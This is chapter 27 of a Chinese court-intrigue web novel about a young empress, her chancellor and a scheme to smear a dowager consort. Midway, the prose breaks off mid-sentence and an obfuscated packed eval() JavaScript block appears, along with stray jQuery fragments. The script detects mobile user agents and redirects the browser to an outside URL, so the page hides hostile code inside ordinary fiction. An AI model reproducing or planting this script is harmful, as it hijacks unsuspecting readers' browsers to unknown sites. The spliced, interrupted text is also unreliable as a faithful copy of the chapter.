27. 第 27 章

作品:《我披上了死对头的黄袍(女尊)

    昨日虞幼章拿虞徽之说事了一遭,魏禾还惦记着,今天严桢就在朝上参了虞徽之一笔,说太妃母亲方下葬就返宫,守丧期间膳食未减有失孝仪。


    魏禾怀疑地看了一眼严桢。


    往她身边插人了?


    不对,她身边若有严桢的人,严桢想参虞徽之的话,定不是参这般不痛不痒的东西。


    魏禾想起来严桢几次想让她儿子当皇后的暗示。


    严氏是五姓之一,祖上如日中天过,今后人也不忘祖宗初心,欲让家族世代繁荣下去,女儿拜相,儿子联姻,看来严老匹妇对她还算认可,觉得她这个皇帝日后能为严氏背书。


    魏禾慢慢道:“严卿这是打哪听来的风声,太妃素重孝道,朕体恤他劳顿,返宫是朕亲自派人接回的,膳食未减,亦是朕的意思,太妃为母尽孝是孝,朕对太妃的孝就不是孝了?太妃全朕孝道何错之有?”


    “朝中政务繁重,爱卿乃朕宰相,应放眼天下,这些宫闱琐事就勿要管了。”


    严桢:“臣只是觉得陛下后宫无主位打理庶务,事事劳烦太妃一先帝妃嫔,于礼制不妥,请陛下早择贤子入侍。”


    “爱卿如此为朕操心,你进宫当朕皇后如何?”


    严桢眉毛倒竖:“陛下莫要戏弄臣!”


    “朕见爱卿甚是贤惠,心悦之罢了。”


    严桢听到身后同僚苍蝇一样嗡嗡嗡的笑声,脸更黑了,皇帝就这样,你顺着她来她就和你好好说,逆着她来她就耍赖,问就是她年少不懂事,要老臣体量她,尊敬有余,礼貌多欠,也不知道是和哪个下三流的宫人学的。


    严桢见又被魏禾避过去了,干脆转谈政事,反正皇帝年轻,丰盈后宫是迟早的事,而那虞太妃吧,严桢一不确定皇帝和太妃是不是真的有私情,二就算真有,也觉得皇帝不过好色图新鲜,根本不可能有娶虞徽之这样荒谬的想法,参虞徽之不过是稍作敲打,让二人不要忘了伦理纲常。


    略过这一插曲,济灾灵州的所有事务便在这又延长了一个时辰的朝会中敲定。


    ***


    沈策有一段时间没来严府了,因为他娘前些日子干了件大事,与皇帝和宰相里应外合,引走天驷军主力,配合宫中除掉了大奸宦杨自牧。


    朝廷封赏了母亲诸多,其中就包括一座在皇城附近的宅院,他最近都在新宅备嫁。


    他的婚事乃舅母严桢做主,许给了新任凉州刺史之女林叙。


    沈策本还对自己娘增领凉州一事无感,现在如愿嫁给意中人,一下子与有荣焉起来。


    自己娘是林叙娘的上官,林叙是自己的妻主,所以林叙以后也会像娘宠爱爹一样宠爱他吧。


    等他们成婚两家人就要一起回凉州了,今天他是来找严良璞告别的。


    严良璞在院中抚琴,虽然大燕兵乱四起,但如严家这样的世家生活还是金尊玉贵。沈策惊讶发现几日没来,严良璞的院子里除了后院池榭,处处都铺上了软毯,为防暑气,每隔几步还设有一冰盆。


    沈策不会琴,但略懂琴音,远远的他就从琴声中听出愁绪。


    他走进去:“良璞!”


    严良璞看到他很是意外,手中急促的指法改轻轻拨弦,琴音改了也不觉突兀,叫沈策看得叹为观止。


    严良璞:“你怎么来了?不是才定下婚事吗?”


    沈策:“我提前来和你告别的,后面我爹就要不准我成亲前到处乱跑乱了,成亲后我很快就会和妻主一起回凉州。”


    严良璞这才想起沈策要回凉州这一茬,也不弄琴了,神色失落道:“是啊,你嫁人后就要走了。”


    “哎呀,小爷以后又不是不回来了,凉州到这骑马也不过三天,你念我时给我修书一封,我便回来找你。”


    严良璞被他气昂昂的样子逗笑:“哪有这么简单的。”


    “三郎,恭喜你嫁给了喜欢的人。”


    他话里有羡慕之意,沈策难得不好意思,想和他坐一道,结果发现自己的“宝座”被一雪团子霸占,正是从猎苑带回来的那白狐,白狐被养得毛光水滑,看着长大了不少,一双蓝瞳瞥了他一眼,又低下头继续优雅地给自己舔毛,沈策居然从中诡异地看出一丝严良璞的影子。


    地毯给谁铺的很明显了。


    沈策虽大条,但不傻:“我和林女君多亏了我娘,我爹也到京中了,婚嫁的事他会帮我安排好,我进来时良璞是在难过?该不会是……为了陛下?”


    “这么明显?”严良璞惊讶地张开了嘴,“你莫要与别人说。”


    “我说做甚,我这不是解决了终身大事,想帮你也解决一下嘛。”


    严良璞扶额:“你要如何帮我,我娘都帮不了我。”


    沈策寻思道:“难道又是因为虞幼章?可他不是被封皇子了吗?而且他娘才出事,他要守丧三年,陛下不可能娶他了呀。”


    “不是虞幼章,是太妃。”严良璞叹了口气,把早上在严桢书房,看到皇帝想娶太妃的信一事告诉了他。


    “老天奶,”沈策听得啧啧称奇,指着白狐,“他们虞家才是满府的狐狸精吧!”


    他取笑道:“要是陛下把太妃娶了,那来日要娶皇子或许也不奇怪了,嘶,你说陛下是不是为了不让别人娶虞幼章才封他当的皇子?等丧期一过,就把他们舅甥两一起迎进宫?”


    “……”严良璞嘴巴张成了圆形,“不会吧,这也太……陛下不是这样的人。”


    沈策心思一转:“没关系,我有办法帮你。”


    严良璞颇为烦心:“你不要再捉弄我了。”


    沈策凑到他耳旁,说要把虞徽之祸乱宫闱的事掩去名姓,画成画本宣扬出去,等故事在民间传开,碍于名声陛下就怎么都不会娶他了。


    严良璞知道沈策一手画技了得,真画了肯定能宣扬出去,犹豫道:“这样不好吧。”


    “我们也是为了陛下,你想想,陛下那样的无瑕之姿,若为了一个狐媚惑主的先帝遗妃沾了污名,多让人生气啊。”


    是啊,陛下那样高洁的人,要是被人扣上乱.伦悖德的名声……


    且太妃若真在乎陛下,又怎么会行勾引之事。


    陛下许是被骗了。


    严良璞心神一定:“那就麻烦三郎了。”


    ***


    敬王府。


    等宣旨的人走


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307311|179720||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了,魏藿开始向她乳娘大吐苦水:“嬷嬷,小六要我去灵州当赈灾使!我哪会治洪啊!”


    乳娘郑氏安慰道:“殿下不必妄自菲薄,再说陛下给您派了两名佐官,治洪的事交给她们,殿下在旁边看着便好了,而且您不是早就想出去了吗?”


    这就说到魏藿心坎上了,摘掉傻子的帽子后,她把王府一干闲人全都赶了出去,就留了乳娘,管事和三两杂役,一直到现在她都没出过王府,说得好听叫闲居养志,实则是没脸出去见人。


    现在临安大街哪家还没听过她魏藿胆小鬼亲王的大名呢?


    魏藿觉得很冤,她是被杨自牧吓破了胆给自己灌了杯果汁就装傻子去了。


    但要没有她的装傻成功避免了求死之治哪来的现在的延熙之治?


    而且杨自牧那死太监可是派了不少人来试探她,她没一顿打是白挨的。


    世人不感谢她便罢,还嘲讽她,岂有此理!


    不忿归不忿,魏藿也就想想,为了不被扔臭鸡蛋,她是不会出去的。


    门口又有动静,管家回来了,魏藿警惕道:“外面又发生什么了?”


    管家和乳娘都是看着她长大的忠仆,对她现在杯弓蛇影的模样很是心疼:“外面没出事,都好着呢,就是陛下又病了,说是旧疾复发,已经下旨让严相监朝了。”


    魏藿拧眉:“小六又病了。”


    对小六,她的心情很是复杂,她壮志凌云的时候,从没把小六这病秧子当一回事,满门心思都放在和其他几个姐姐斗争上,母皇死后发现魏氏颓势无力回天,这皇帝谁当了谁死,她就很无耻地把这担子推给了病中且未及笄的小妹。


    她不能接受母辈们一代代传下的江山毁在自己手里。


    去太庙那天她本来是想去向祖宗和母皇告罪,再看看替自己当上皇帝的小六什么样了,结果看到了一个气度不凡,恍若盛世之君的年轻帝王。


    这是小六?


    我大燕不是要亡了吗???


    然后她身边那些生了异心的随从就被挨个提出去打板子了,在礼制森严的太庙里施刑,魏禾实乃魏氏三百年第一人,而更梦幻的是,素来重礼的太常卿眼里居然有赞赏之意。


    且她在后殿看到了,开庙祭祖时大殿上空浮现了金光,那光芒久久不散,她见后问左右可见之,左右皆以为她又在说痴话。


    原来魏氏并未失去天命,只是天命没有降临在她身上。


    魏藿喜极而泣,她死之前终于不用亡国了!


    但是魏禾身体很差,这是有目共睹的,魏藿问郑氏:“灵州隔壁是不是幽州,那神医宇文持默的老家是不是在那?”


    “是的,殿下想去拜访宇文贤君?”


    “没错,宇文贤君和母皇有旧交,嬷嬷帮我备些薄礼,我亲自去拜访一趟。”


    郑氏应是。


    次日上午,整个赈灾队伍整装待发,魏藿看到自己的佐官只来了一个,问她另一个在哪。


    佐官表示殿下上车便知道了。


    魏藿眯眼,什么佐官架子这么大。她踩上车一掀帘子。


    魏禾坐在正中,微笑望来:“皇姊。”